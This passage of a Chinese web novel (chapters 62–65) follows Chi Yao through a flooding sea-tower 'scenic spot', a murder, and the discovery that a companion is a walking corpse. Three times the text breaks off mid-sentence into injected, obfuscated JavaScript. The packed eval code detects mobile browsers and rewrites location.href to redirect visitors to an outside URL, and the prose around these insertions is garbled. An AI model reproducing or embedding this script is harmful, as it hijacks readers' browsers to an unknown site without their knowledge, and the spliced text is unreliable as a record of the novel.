“昨晚夜里你有醒来过吗?醒过的话叫一声。” “喵喵!” 看来绒绒昨晚也同样是一觉睡到天亮。 在池遥印象里,自己的小猫睡梦中警惕性非常强,而且感知很敏锐,一旦有什么风吹草动就会立刻醒来。 昨晚自己的鞋子的动静是一定会把绒绒吵醒的。 看来的确是景点的作用。 池遥打开房门,大厅的桌边,齐航正在给张凝张毓俩人讲解他昨晚和池遥分析得出的内容。 “早啊。”见到池遥的身影,齐航冲她挥手,是叫她过去的意思,池遥点点头,指指洗手间,在洗手间洗漱一番后才来到桌边。 进洗手间时,她隔着玻璃门观察外面的甲板,海平面已经盖过甲板了,只能看到甲板边缘的栏杆。 回来时,齐航三人似乎刚刚讲完,正在等着她,池遥一坐下,就听到了齐航的声音。 “池遥,今天海平面升高了。” 62. 虚假与真实4 “我知道。”池遥点点头,“我醒来发现房间进水了,而且甲板似乎已经被淹了。” “这不正常。”齐航蹙紧了眉头,“如果海平面一直上升的话,我们的建筑也会受到波及,这么下去,我们根本没法在这里度过七天时间!” “还有一种可能。”张毓小心翼翼地开口,这个看起来不过十六七岁的女孩一直躲在小姨身后,这是池遥第一次听到她的声音。 “不一定是海平面在上升,也有可能是我们所处的建筑在下降。” 池遥一愣。 “齐航哥哥刚才给我们看了他画出的简图,我们所在的建筑是由海底的一根立柱支撑起来的,那么可能不是海面在上升,是建筑在动。”女孩的话语是池遥从未想过的方向。 “这......不可能吧。”齐航犹豫了半天,语气有些动摇。 “怎么不可能,你们没注意一觉醒来房间里的东西换位置了吗?”张凝开口,眼神直直地盯着她,“我们昨天放在房间里的水和速食全都滚到其他地方了,你们的食物没事?” 池遥和齐航对视了一眼。 她和齐航都有空间吊坠,估计齐航和她一样,早就把食物收进吊坠里了。 “......我把食物箱子封好放到衣柜里了。”她讷讷道。 “我也是。”齐航跟着点头。 这下轮到张凝哑口无言。 “但我昨晚脱下来的鞋子今早也更换位置了。”池遥将自己的发现讲给其他人听,“毓毓说的没错,说不定真是房间在动。” 齐航站起身,走向通向甲板的玻璃门,驻足观察一会儿,回来时神色有些沮丧。 “如果是海平面上升的话,就以我们的建筑为参照,如果是建筑下沉,就以海面为参照。现在我们可用的参照物只有两个,实在太少了,判断不出来。” 海平面上升是无法控制的,一旦确定是海平面上升,他们必然无法在景点中安然度过七天时间,而如果真是建筑在下降,或许还有补救的余地。 “那如果,下潜到海底的立柱上做标记呢?”张毓的话说到一半,又自己否决了自己的提议。 “不对,我们也不能确定水下的立柱就是完全不变的。这里是景点,不能用科学角度看待。” 池遥没有参与进几人的讨论。 她隐隐有种预感,负责人颁布的任务从一开始就是个骗局。 或许,负责人根本就没有让他们活到第七天的打算,无论是逐渐淹没建筑的海平面,还是平均分配后根本无法撑过七天的食物,无一不验证着这一点。 按照这个思路继续向下梳理,完成任务,安然无恙离开景点的办法只有一个。 在七天之内破除这个世界。 可是这句话涵盖的意义实在太笼统了,池遥反复在脑海中重复这句话,还是没弄懂这句话的意思。 而且,如果按照现在的情况来看,他们在这个景点中可用的时间根本不到七天。 无论是海平面上升也好,还是建筑下降也好,纠结这种问题并不重要,最终造成的结果都是一样的。 “我能冒昧地问一个问题吗?”她清清嗓子,开口问道。 “昨天晚上,你们应该都梦到负责人问的问题了吧?” 三人齐齐点头,但表情都凝重了些,警惕地看着她。 “我不是想问你们的答案。”池遥双手摊平举到耳朵两侧,做出一副投降手势,“我只是想说,你们确定自己昨晚回答的答案一定准确吗?” 没人吭声。 “还要连续回答六天,确保答案万无一失也很难吧。”池遥叹了一口气,“我是觉得,我们要不要考虑一下负责人说的另一种解法?” “你说破除这个世界?”齐航问。 池遥点点头。 然而,讨论了好一会儿,四人仍旧没有一点头绪,到了中午,几人各自回了房间。 刚关上房门不久,池遥就听到大厅传来了刻意遮掩的开门声,悄悄将自己的房门打开了一个小缝,看到一个辣眼睛的人影穿过空荡荡的大厅,快速闪进了洗手间。 自从昨天痛失基础衣物后,常东就没出过房间,但人有三急,他也没办法,只能趁大厅没人的时候快速进洗手间解决。 池遥悄悄掩上门,烧水煮泡面。 她以前很少会注意绒绒的饮食,起初她还会准备猫粮,但绒绒对此视若无睹,后来她发现这只小猫每天都会消失一段时间,独自解决食物问题,便不再管它。 而此时,池遥吸溜了半盒泡面,忽然看向蜷在她身旁的小猫。 “你饿不饿?我分一点面汤给你?” 今时不同往日,现在绒绒和她一起被困在这里,估计也没办法觅食了。 池遥不知道它食量如何,但自己现在也不富裕,一天就吃一桶方便面过活,能分点面汤就不错了。 “你介意我用勺子舀给你吗?” 她正在思考怎么喂,一只毛绒绒的肉垫就抵在了她的手腕之上。 绒绒坚定地拒绝了她。 “不吃东西真的可以吗?”她不放心,又问了一句。 “喵!” 看来是可以。 吃完午饭,池遥观察了一下房内的圆窗,此时的水位与早上醒来时看到的一模一样,虽然她用衣物堵住了玻璃,但仍未完全阻断漏进房间内的海水,她换了新的衣服堵住玻璃,又将地上的积水擦干。 她醒来后确实没有感觉到建筑有移动的迹象,看来无论是海平面上升,还是建筑下沉,都是在她入睡后发生的事。 然而,想到自己莫名其妙从床脚移到门口的鞋子,池遥又隐隐觉得不对劲。 如果建筑只是上下移动,为什么她的鞋子会出现在门口? 难不成,还发生了其他事? “绒绒。”池遥叫了一声窝在她身上的小猫,“你说,晚上有没有什么办法能不入睡呢?” 小猫没出声。 “好吧,就知道你也没办法。”池遥叹了口气,站起身,想去大厅看看,绒绒灵活地跳到她肩膀上,跟着她一同出了门。 大厅里,张凝和张毓拿着一大团毛线团,正在用毛线测量大厅的面积。 “这毛线是从哪儿来的?” 池遥一眼就看中了张毓手中米色的毛线,看起来很像是张毓昨天穿的衣服的颜色。 “是我的能力。”张毓不顾身旁张凝的反对,轻声说道。 “我的能力是拆解和合成丝线,可以把衣服拆解成线团,也可以把丝线整合成布面。” 池遥点点头,跟在旁边看张毓的侧量办法,小女孩量完大厅的直径后,将一团不同颜色的毛线编织成有刻度的尺子形状,没一会儿就量出了大厅的面积。 “这有什么作用吗?”池遥诚恳地问。 “并没有什么用处。”张毓羞赧地笑笑,“我只是找不到事做,想着说不定能从这方面入手。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454914|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真厉害。”池遥拍拍她的肩膀,忽然想到房间里,被她用来堵窗户的湿衣服。 “毓毓,我有一件湿衣服,你可以帮我拆解成线吗?” “我没办法拆那么多,只能拆一块衣角,或者半个袖子。” “也行。”池遥立刻回房间,剪了半个袖子送过来。 张毓在大厅帮池遥拆衣服的时候,正巧遇到了许赫和陈佑从房内走出来,这两个人不知为何总是结伴行动。 陈佑换了件外套,仍然遮盖住了他的脸,而许赫穿得格外厚实,面色有些发白,与池遥对上视线时,露出一个不太好看的笑容。 从第一天起,池遥就很想找个时间和许赫聊聊,但始终没找到他独自一人的时机。 到了晚上,池遥提前一个多小时就洗漱完回到房间里了。 她将矿泉水瓶摆放在地上不同位置,土豆泥则放在床头柜上,用白板笔在包装表面写了它们摆放的位置。 之后,又将空间里的白纸拿出来,贴在了房间四个角落的墙面上。而张毓拆下来的丝线被她分成小段,贴在房间的四个角落,丝线末端都拴着一根白板笔,她把笔盖打开,将笔尖压在贴在墙上的白纸上,确保笔尖无论朝哪个方向倒,都能把运动轨迹画在白纸上。 做完这一切,池遥再次将鞋子放在床尾的地上,不同的是,这一次鞋底沾满了她提前撒上去的香薰精油,精油的痕迹十分明显,一旦蹭在金属质地的地板上,很容易留下痕迹。 这一晚,池遥在人中和太阳穴好几个位置涂了大量风油精,强迫自己清醒,然而,一到十点,再次失去了意识。 “旅人,此时你所处的,是哪一个世界?” “虚假的世界。” 池遥随口一说。 再次醒来时,头昏脑涨。 池遥心里惦记着睡前的准备,还没睁开眼,就直接从床上坐起身,结果一阵天旋地转,差点从床上摔下去。 缓了将近十分钟,那种头重脚轻的眩晕感才减弱了些,池遥迫不及待地低头,想看地面上的精油痕迹,却愣住了。 地上已经积了厚厚一层,到她脚踝深的积水,根本看不出精油的痕迹。 矿泉水瓶和土豆泥桶也在水里晃晃悠悠,位置已经不准确了。 池遥早就料到会发生漏水的情况,睡前在圆窗边里里外外围了三层衣服,连绒绒那些可爱的衣服也被她征用了。 然而,此时,这些衣服全部堆在门口的地上,和她的鞋子在一起。 她迅速去回收自己贴在墙角的白纸,发现白纸也被积水浸湿,上面的笔迹也模糊不清,幸好她在房间四个角落都贴了白纸,连着窗户所在那面墙的白纸相对损伤小一点,池遥急忙把自己珍贵的纸笔救了出来。 白纸上的笔迹显示出了一个弧线,池遥还记得自己昨晚摆放的位置,她发现两张纸上的笔迹都形成了一道弧线,笔迹在弧线尽头的点停留了很久,之后又再次回归到今早看到的位置。 她的空间感不太好,蹲在地上拿着线和笔反复尝试,才得出结论。 夜间,自己所在的房间似乎朝上方旋转了九十度,旋转后,圆窗所在的墙面就成了新的天花板,窗户正对面的大门所在的墙面也就成了地面。因此她的鞋和围堵住窗户的衣物一起出现在了门口。 她的床也彻底直立了起来,自己每天早上感到头晕是因为每晚房间旋转后,她都以头朝下的姿势倒立在房间里,长时间维持这个姿势,自然会感到头晕。 63. 虚假与真实5 “池遥!” 从池遥醒来开始,大厅里的声音就十分嘈杂,过了一会儿,响起了急促的敲门声,还有齐航的声音。 “你起床了吗?出大事了!快出来!” “怎么了?” 池遥打开门,出现在她面前的是面色凝重的齐航,以及齐航身后的一大群人。 除了常东以外,其他人竟然全部都在大厅里齐聚一堂,连神出鬼没的陈佑和许赫都出现了,齐齐看着她。 眼前的场景明显不正常,池遥不由地退后一步,绒绒似乎也感受到了不对劲,轻盈地跃到池遥肩膀上。 “常东死了。” 一片沉默中,是许赫开了口。 “什么!” 池遥不由地看向墙壁上的钟表,此时是早上十点半,她早上九点多才醒,难不成常东的死亡是发生在夜间的事? 她将许赫的话在脑子里过一遍,忽然意识到一个问题。 “常东房间不是关着门吗?你们怎么知道他死了?” “你出来看就知道了。”齐航退后几步,给池遥留出空间,池遥跟着他走出房间,立刻明白了。 不止池遥的房间涨了水,其他房间也没能幸免于难,房间内的水积攒多了,又顺着通往大厅的门缝漏到大厅里,而常东的房间门口涌出的水流,是淡红色的。 十分明显。 “你们已经去确认过了吗?” 池遥问道。 “我们已经去看过了,但不知道该怎么处理尸体。”齐航苦笑了一下,“你要......看一眼吗?实在是有些血腥。” 闻言,池遥看了一眼其他几人,齐航的表情有些勉强,张凝张毓二人的脸色也十分苍白,许赫的表情倒是没什么变化。 “我开门看看。” 她说着,单手把肩膀上的小猫扒拉到怀里,一只手抱猫,另一只手打开了常东房间的门。 入目是一片刺眼的红色,常东躺在床上,肚子上插着一把刀子,刺得极深,露在皮肤外的部分只剩下刀柄,床单上满是血迹。 场面的确有几分瘆人,但池遥只在最开始有几分震惊,很快心情就恢复了平静。她在殷蘅的梦境世界中见过太多更可怕的鬼怪了。 看完尸体,池遥抬起头,打量了一番其他几面墙和天花板,按照血迹的流向判断,常东是今早房间复位后被杀害的,死亡时间应该也就在几个小时前,大家的房间没有门锁,除了她以外的其他人都有可能是凶手。 比起找到凶手,更重要的是通过景区的考验,去往下一个世界之后,她就没机会见到这些人了,纠结谁是凶手意义不大。 她没进房间,只站在房间门口看了几分钟,就默默退出了房间,没有关房门。 “尸体怎么办?”她开口问道,“总不能一直在房间里放着吧?” 一时间,众人面面相觑,无人开口。 “扔到海里可以吗?” 一个沙哑,低沉,极为陌生的声音在她身后极近的地方响起,刚才的尸体没吓到池遥,倒是被这声音吓得一抖,她回过头,看到了一个意料之外的人。 是一直和许赫形影不离,穿着斗篷,遮挡住脸的陈佑。 “我没意见。”池遥率先回应,紧接着许赫和齐航纷纷开口,张凝张毓二人没说话,算是默认。 陈佑一言不发,高大的身影绕过站在房间门口的池遥,径直走到床前,将尸体扛到肩上,朝着通往甲板的玻璃门大步走去,许赫立刻明白了他的目的,先一步过去打开了玻璃门,陈佑扛着尸体去了甲板上,许赫紧随其后,也走了出去。 池遥的目光一直跟随着陈佑,直到他的身影消失在玻璃门后,才收回视线。 正常人若是搬动尸体,一定会尽可能避开伤口和鲜血处,但陈佑搬动尸体的时候,两只手却都放在尸体的腰间,也就是常东被刺的部位。 他似乎迫不及待,情不自禁地想要接近常东的伤口。 不仅如此,擦身而过时,池遥隐约看到了陈佑的下半张脸。 他的唇色是格外鲜艳的红色,脸上的肤色却呈现出一种灰调的白色,仿佛艺术馆中展出的石膏像,十分不协调。 如果他真的想将常东的尸体丢进海里,直接拉开玻璃门抛尸即可,今天海平面再一次上涨,甲板栏杆都只剩下了一小截,去甲板上更是个危险举动。 除非是,他想对常东的尸体做些什么,又不能被其他人看见,才会这样做。 常东的死讯过后,大家平均分掉了他房间剩下的食物。仅剩的几人变得更加缄默,众人都意识到,杀害常东的凶手就在他们当中,都不约而同地回了房间,大厅内空空荡荡。 池遥敲响张毓的房门,拿着她刚刚剪裁下来的布料请求张毓帮忙拆解成毛线,她的声音不大,但却同时惊动了住在张毓的房间两侧的张凝和齐航,张凝开门时盯着池遥的目光十分警惕,而齐航与池遥对视时,则无声地对她说出了一句话。 池遥并不擅长读唇语,之前和郑承就在这件事上栽过跟头,现在齐航对她重复了两遍,她也只看出了齐航说出的最后两个字是“找我”,大概明白了齐航有话对她说。 等张毓把线团交给她后,池遥先回了一趟房间,把线团收起来,又把绒绒抱进怀里,才走到齐航房间门口。 还没等她敲门,齐航房间的门就开了,他似乎一直站在门口听大厅里的动静。 “是有什么话想对我说吗?” 一进房间,齐航就关上了房门,池遥抱着绒绒的手收紧了几分。 “别紧张,我没有恶意。”齐航的语气一如往常平和,他拍了拍池遥的肩膀,示意池遥坐到床沿上,等池遥坐下后,他紧挨着池遥也坐了下来,两个人之间的距离很近。 这是想干什么? 池遥想起了之前齐航在她房间画图时,似乎也刻意拉近了与她之间的距离。 “我是想告诉你我的发现。”齐航若无其事地开口,似乎没注意到池遥的局促不安,“今天的海平面比昨天又上升了不少,按照这个速度,到了后天,我们所在的建筑就会彻底被海水淹没。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459451|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池遥点点头。 “池遥,你是我在这些人中最信任的人,而且你的感知也很敏锐。我想问问你,关于常东的死,你有头绪吗?” “常东应该是在早上死的。”池遥没有说出自己关于房间旋转的推断,“伤口和血迹都很新鲜,应该是第一个醒来的人杀了他。” 她又说了其他与常东的死相关的推论,不过并没有透露出陈佑的异常,这期间齐航不说话,只低头看着她,距离很近。 池遥怀里的小猫也受不了,仰脸朝他叫了一声。 “抱歉。” 齐航似乎才意识到自己的态度有些冒犯,站起身后退几步,笑着看她。 “不好意思,我刚才离你太近了。” “池遥,我的能力很弱,需要被动触发。我的能力可以分辨出对我抱有恶意的人,一旦这样的人靠近我,就会被不存在的空气墙推开。” 没想到他会直接坦白自己的能力,池遥愣了一下,反应过来,他是在向自己解释距离靠得太近的原因。 他的能力是被动能力,在怀有恶意的人靠近他时才会触发,而当齐航需要验证对方的人品时,就需要主动靠近别人,观察自己的能力是否被触发。 “常东死后,我用相似的办法测试了每个人,包括那个看起来神神秘秘的陈佑。结果是,所有人都对我没有恶意,或者说,恶意没有深到触发能力的地步。” 池遥点点头。 因此,常东的死并不是一个开始,杀死常东的凶手无意对他们下手,问题可能出在常东自己身上。 这天晚上,池遥依旧早早洗漱,早早回房间,与之前不同的是,在回房间时,她去到大厅,将大厅中最有分量的椅子搬回了房间。 她不再抗拒睡眠,而是自然而然进入梦乡。 “旅人,此时你所处的,是哪一个世界?” “虚假的世界。” 很快,负责人的声音再度远去,池遥的意识也渐渐变得模糊。 突然之间,胸腔仿佛被什么东西重击,池遥几乎能听到骨头碎裂的声音,一阵剧烈的疼痛将她从梦中强制唤醒。 睡觉前,池遥在自己的床头做了一个小机关。 她用张毓给的毛线拧成绳子,将床头与从大厅搬来的凳子连接在一起,绳子很短,因此,一旦房间发生变化,按照池遥昨天推测出来的运行轨迹,这把凳子最终一定会狠狠砸在她身上。 担心叫不醒自己,池遥特意选了大厅里最沉的一把凳子,将近百斤的重量猛得打在自己身上,比想象中还要痛苦几倍。 池遥睁开眼睛,发现自己此时头朝下,倒立在房间内,她的手腕脚踝都被松紧带固定在床上,她用巧劲慢慢将两只手解放出来,又倒挂着身体,撕扯开脚腕的松紧带,滚落在地。 此时,房间里彻底变了个模样,大门所在的墙面变成了脚踩着的地板,而圆窗所在的墙则变成了头顶的天花板。 池遥将绒绒叫醒,爬上床尾,用外套包裹着拳头,几拳打碎头顶的圆窗玻璃,爬到了玻璃之上的平台上面。 64. 虚假与真实6 打碎玻璃后,空出来的圆形空洞正好足够一个成年人钻出去,池遥先将绒绒送到上面,也跟着爬了上去。 景点内的天幕没有月亮,没有星星,如同遮挡在头顶的屏幕,一旦暗下去就是伸手不见五指的漆黑。 站在平台上,池遥先用能力治好了自己体内被砸伤的地方,等眼睛适应了这片黑暗后,才开始打量起周围,幸好夜间已经没有雾气了,能见度很高。 与池遥起初想象的不同,来到建筑最顶上,她才发现,此时的建筑远远看去就像一把打开的伞。如果白天的建筑侧面看去是一把合拢的伞,此时所有房间向上旋转九十度,变成了一把张开的伞。 旋转过后,所有房间的高度也发生了变化,此时高悬于海面之上。 不过,所有房间旋转后不再连通在一起,而是呈放射状张开,像打开的花瓣,只有中间的部分连接着大厅的尖顶,若是想去到其他人的房间顶部,要先绕到大厅顶部再过去。 “你能打碎其他人房间的玻璃吗?能的话叫一声,不能的话叫两声。”池遥把绒绒抱起来,问它。 “喵!” 池遥点点头,继续问道。 “你可以去把所有人叫醒吗?” “喵!” “真是只能干的小猫!” 池遥赞许地揉揉绒绒的小脑袋,看着它动作灵活地跃过不同房间之间的空隙,几下打碎玻璃,跳进了别人的房间,才继续前进。 每晚发生变化的房间只有池遥等人居住的房间和洗手间,洗手间内无窗,池遥爬到建筑最顶端,看到代表洗手间的外墙尽头似乎连接着什么。 她小心地爬到洗手间外墙顶上,洗手间的面积比其他房间还小,两侧没有护栏,一旦摔下去,底下就是深不见底的海水。 她放低身体,慢慢爬到洗手间的外墙尽头,才发现,对面不远处是一条露天的金属制长廊,与外墙之间连接着一条吊桥。 说是吊桥也有些勉强,只有上下两条粗麻绳,在高空中晃来晃去。 仅凭着两根麻绳,实在咬咬牙,应该也有办法爬到另一头,然而池遥犹豫了半天,手刚碰到麻绳,又立刻松开了。 她在吊坠中搜寻一番,找到了一根木制衣架,是她从自己的房间拿的,这根衣架质量上乘,衣架挂钩是一个完整的圆圈形状,如果把衣架挂在麻绳上,凭借着高度差,应该可以直接滑动过去。 绒绒的速度很快,此时,它已经叫醒了张凝和张毓二人,两个人一起来到了池遥身边,看到对面的场景,立刻就明白了池遥在想什么。 “我可以用我的能力做出一个吊在上面,能够自由滑动的绳索。”张毓一边说,一边发动能力,将她身上所穿的衣服袖子重新改造,“对面的长廊海拔似乎比这里低一些,应该可以直接滑动过去。” 她做出的绳索十分结实,一边连接着背带,能牢牢护住人的胸腹,另一边连接着一个与池遥手中的衣架挂钩一模一样的钩子,让池遥想到高空蹦极。 张毓做出的绳索显然比池遥手里的衣架安全多了,池遥顺势收起衣架,帮助张毓一起把做好的绳索连在麻绳上。 “我第一个过去吧。”张凝开口。 麻绳两端有高度差,张毓做出的绳索在跟随其他人一起滑到另一端后并不能反复利用,因此,张毓只能最后一个出发。而池遥的小猫还没回来,她一时半会儿没法出发,张凝是最适合第一个出发的人选。 张毓亲手给张凝系紧背带,反复检查了几次,才让张凝站在外墙边缘,朝她背后用力一推。 很快,张凝就顺利到达另一侧,冲二人挥手。 就这样,之后的所有人都利用张毓做出的绳索顺利到达另一侧,而池遥则是等到绒绒回来,把小猫裹在外套里面,带着它一起到了对面的长廊上。 穿过长廊,映入池遥视线的是一座孤零零立在海上的高塔,高塔通体漆黑,一部分塔身浸在海水里,伫立在海上的部分共有五层,海下共有三层,每一层面积都很小,除了一层之外,其余每层都摆放着一架折叠床,一个小衣柜,一面落地镜,一层则是洗手间和一个八人长桌。 看起来,是把每一层作为每个人的个人空间来分配的。 此时还是沉沉夜幕,几人自然地分配了每个人所在的楼层,各自休息。 因为常东的死亡,最底层被空了出来,除了住在海下两层的许赫和陈佑以外,其他人都住在楼上,池遥选择了三层。 只不过,这一次,房间里不再有适合绒绒居住的猫窝了。 “你要单独去底层住吗?” 入睡前,池遥问身边的小猫。 “喵!” 小猫歪过头,撒娇般叫了一声,跳到池遥的床头,它还是习惯和池遥在一张床上入睡。 再次醒来时,看到陌生的环境和天花板,池遥懵了一阵才想起来昨晚的事。 收拾完毕后,她沿着楼梯下到一楼,看到了齐航和许赫二人。 这是自池遥进入景点以来,第一次看到许赫独自一人。 “许赫,你是住在负一层吧.”池遥问他,“你的楼层有窗户吗?” “没有。” 池遥点点头,她所在的楼层也没有窗户,但她昨晚去其他楼层的时候隐约记得似乎是有几个楼层有窗的。 “但是陈佑的楼层有窗户。” 许赫补充了一句。 “负二层?” “对。” “陈佑没和你在一起吗?”池遥问他。 “他在负二层。”许赫没有正面回答池遥的问题。 池遥抬起手看了一眼时间,此时已经接近中午了。 “他是在吃饭吗?” “嗯。” 不知为何,当池遥提到“吃饭”二字时,许赫的神色有几分僵硬,躲避开了池遥探寻的视线。 “我想出去看看,你要一起吗?” 池遥同样注意到了他的表情变化。 许赫点点头,跟着她一同离开了塔内。 走出高塔,池遥才发现,高塔前的海上长廊并未高出海面太多,只比海面高出几十公分的高度,如果海平面真的还在上涨的话,恐怕明后天就会淹没高塔一层。 到时候,他们几个住在上层的人受影响不大,但海水一旦倒灌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469314|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就会直接淹没处于海面下的三层,许赫和陈佑必然出事。 看来,就算转移到高塔内,也不代表他们可以安然无恙待到第七天。 走了一段距离,池遥才轻声开口。 “他威胁你了吗?” 她的话过于直接,许赫的表情有一瞬间的慌张,随后再次恢复他一向游刃有余的神色。 “怎么会?我们就是朋友。” 海上长廊已经走到尽头,池遥停下脚步,转过身,面冲着他,目光直勾勾地盯着他的眼睛。 “你的解释连自己都不信吧。庄晴,文茵,蔓蔓都是被行尸,被变形人杀死的,你怎么会和变形人做朋友?” “你怎么知道陈佑是行尸?” 池遥的目光盯着许赫的眼睛,到了这时候,他的眼神中才终于现出几分溃散的神色。 “常东死的时候就知道了。” 搬运常东尸体时,陈佑异于常人的表现,以及池遥无意中窥见的半张脸都让她立刻注意到了陈佑的真实身份并非天赋者,而是同属于能力者的变形人,也就是行尸。 同处于一个景点内,池遥并不会主动揭穿陈佑的身份,唯一让她想不通的是许赫对此的态度。 许赫一直和陈佑形影不离,不可能不知道陈佑的真实身份。 不止如此,更何况—— “而且常东不也是你杀的么,你杀他是为了喂饱陈佑?他指使你这么做的?” 说完这句话,池遥平静地看到许赫的脸色肉眼可见地一寸寸发白。 “你怎么会知道?” “杀死常东的那把刀,我以前在文茵手上看到过。”池遥垂下眼,轻轻地叹了口气,“你用这把刀杀人,不就是为了让我看出来凶手是你么?我还想要问你的目的呢。” “你想向我求助?陈佑手里有你的把柄?” 池遥继续猜测,然而,许赫却摇了摇头。 “不,我的确想让你知道是我杀了人,但我并没有想让你介入我的事的意思。” “你说的没错,陈佑是行尸,他更喜欢称呼自己为变形人。我在很多方面的确受到了他的胁迫,但是,这是他的能力所致,就算是你也帮不上忙。” “常青中学沦陷后,我就一直在他身边做事。这么长时间过去,我已经习惯了。他需要我的能力,也会给我丰厚的报酬,给谁做事不是做呢,在他身边也不是件坏事。” 在许赫说这话的期间,池遥的目光一直牢牢定在许赫身上,令她难过的是,她能通过许赫的很多个小动作判断出许赫的现状并非他口中的那样好,他也并非话语中那样心甘情愿,但池遥对此却毫无办法。 “方便告诉我他的能力吗?” 最后,池遥只能问出这句话。 “他能通过肢体接触与其他人签订不平等契约,契约内容由他决定,一旦被他抓住机会签下契约,就会变成任由他支配的奴隶。” 的确是一个极其强大的能力。 池遥点点头。 “如果他想对我下手,我该怎样逃过一劫呢?” “在他触碰你的时候,不要回答他的任何问题。” 65. 虚假与真实7 池遥和许赫聊天的时间相当短暂,他身负契约,无法离开陈佑身边太久。 “常东的尸体够他吃七天吗?” 许赫转身准备回塔内,池遥还想在长廊边再多停留一会儿,分别时,池遥问许赫。 “他还会对剩下的人出手吗?” “应该不会了。”许赫摇摇头,“对了,池遥,你的食物够你撑过七天吗?陈佑不吃人类的食物,现在我手里有我们两人份的食物,可以匀给你一点。” “没事,我的食物足够了。”池遥想也没想就拒绝了,她根本就不打算在景点内待满七天时间。 许赫点点头,转身离开。 池遥站在长廊尽头,顺着连接在长廊柱子上的麻绳的方向眺望远处,只能看到远处建筑露在海面上的尖顶,而他们直到昨晚还在生活的区域,已经彻底被海水淹没。 连接着对面建筑的麻绳大部分也沉入水中,池遥蹲下来,手指尝试拨了拨长廊这边的麻绳,发现随着对面的建筑旋转复位,与长廊之间的直线距离变远,麻绳也被绷紧,根本无法拨动。 阳光正好,长廊之下的海水平静无波,池遥蹲下时能在海面上看到自己的倒影。 视线的另一端,倒影同样透过海水俯瞰着她,池遥盯着倒影时,对方也同样看过来,当她移开目光时,对方也做出同样的动作。 直到池遥伸出手,指尖轻轻触碰了一下海水表面,平静的海水表面忽然泛起了波澜。 与此同时,池遥只觉得自己接触到海水的指尖陡然一麻,她只是蹲在海水旁,却猛然间觉得天旋地转,仿佛蹲在海面之上的自己被不存在的引力扯进了海水之中,与水面上的倒影融为一体。 晕眩感只存在了刹那,很快就恢复正常。 池遥慢慢站起身,闭上眼睛,回味刚刚一瞬间的感受,很难相信是她的错觉。 周围的景物与刚刚见到的一切毫无差别,一切似乎都没发生变化。 池遥却蹲下来,盯着自己的倒影,再次触碰了一下海水表面。 很快,她就再次感受到了短暂的晕眩感。 这种晕眩感十分真实,仿佛自己真的从头到脚被调转了一百八十度一般。 刚刚是什么情况? 难不成,是她在无形中经历了两次世界转换? 池遥回想起刚来到此处时,负责人的话。 ——这里是虚假与现实完全对立的世界,分为两重世界,虚假世界与现实世界。两个世界完全相同,虚假的世界中会有和你们完全相同的‘影子’复刻你们的一举一动。你们会无意中陷入虚假世界,也会在不知不觉中从虚假返回现实。 在此之前,池遥也试图辨认其他人的真伪,但后来她发现了一件事,另一个世界的“影子”会完全复刻本人的举止,包括语言和细微的习惯,两个世界的同一个人说的话,做的事完全相同。即便两个人处于不同的世界,但有和本人一模一样的影子存在,依旧不耽误沟通。 但是,两个世界该如何界定? 正如同负责人所说,两个世界完全相同,她无法通过任何蛛丝马迹辨认自己所在的世界。 而她知道的唯一情报,也是负责人所说的,这里是虚假与现实完全对立的世界。 也就是说,只要破坏“虚假与现实完全对立”这个规则,就能破除这个世界。 然而,究竟要怎么做,她仍旧没有头绪。 回到自己的楼层后,池遥吃掉最后一包速食土豆泥,坐在床沿边发呆。 他们所在的海上高塔每层的空间很小,然而,如此狭窄的空间内,却有一面落地镜。 落地镜正对着池遥的床,她思考时目光停滞在镜中的自己身上,许久都不曾动过。 然而,当她慢慢收回思绪时,却忽然用余光发现,不知何时,镜中的自己正盯着她,一侧嘴角明显上扬。 这种形似歪嘴战神的表情池遥本人从来不会做! 不过,也只有一瞬间,很快,镜中的自己就恢复了正常,而池遥却彻底平静不下来了。 因为这面镜子,她不想待在房间里,干脆抱着小猫下了楼,坐在一楼桌边想事情。 在海边时,如果一次晕眩代表她在两个个世界之间转换了一次,那么她一共转换了两次,又转换回了她原本所在的世界。 然而,触碰到海水表面并不是转换世界的契机,来这里的第一天,她亲眼看着齐航和许赫潜入海中,那个时候他们的表情都很正常。 那么,世界变化的契机是什么? 是与另一个世界的自己对视吗? 又或者是与另一个世界的自己接触? 然而,池遥每一次见到另一个世界的自己,都是透过倒影,镜子来达成的。 难不成,他们所在的真实与虚假两个世界之间的关系也是这样?两个世界就如同现实与水中的倒影一样,彼此之间完全对称? 那么,这两个世界之间的“对称轴”在哪儿呢? 池遥在一楼坐了很久,这期间没看到任何人,过了很久,才听到楼梯处传来的响声,是下层有人上楼的声音,她循着目光看过去,看到了陈佑的身影。 